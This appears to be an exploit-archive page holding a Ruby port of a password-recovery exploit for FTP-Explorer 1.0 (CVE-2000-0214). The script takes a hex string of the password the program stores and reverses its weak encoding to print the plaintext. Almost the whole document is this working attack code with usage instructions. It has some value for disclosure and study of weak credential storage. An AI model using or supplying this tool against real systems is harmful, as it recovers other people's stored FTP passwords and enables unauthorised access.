Crack FTP-Explorer 1.0 Passwords # Exploit for CVE-2000-0214 ported to Ruby #

crack_ftpexplorer.rb

#!/usr/bin/env ruby
################################################################################
# crack_ftpexplorer.rb  #  Crack FTP-Explorer 1.0 Passwords                    #
# version 0.1r20110206  #  Ported to Ruby by Brendan Coles <[email protected]>  #
################################################################################
#                                                                              #
# [x] CVE               #  CVE-2000-0214                                       #
# [x] Bugtraq ID        #  1003                                                #
# [x] Original Advisory #  Nelson Brito <[email protected]>             #
# [x] Original Exploit  #  http://downloads.securityfocus.com/vulnerabilities/ #
#                       #  exploits/ftpe-crypt.c                               #
################################################################################

# Usage #
def usage
	puts " Crack FTP-Explorer 1.0 Passwords"
	puts " [x] Usage:   ./crack_ftpe <hex string>"
	puts " [x] Example: ./crack_ftpe 796D82858C878D82"
	exit(0)
end

# crack_ftpe #
def crack_ftpe(encoded_pw)

	result    = ""         # decypted password buffer
	i         = 0          # string index
	ratio     = 3          # PA ratio
	increment = 9          # increment through ASCII table

	return if ((encoded_pw !~ /[0-9a-f]{2,16}/i) or ((encoded_pw.length & 1) != 0))

	encoded_pw.scan(/../).each do |c|
		offset = 48
		while offset < 123 do
			if c.to_s.capitalize == ((offset+increment)+(ratio*i)).to_s(16).capitalize
				result+=offset.chr
				break
			end
			offset+=1
		end
		i+=1
	end

	return(result)

end

# Initialize #
usage if ARGV.empty?
ARGV.each do|arg|	puts crack_ftpe(arg.to_s).to_s end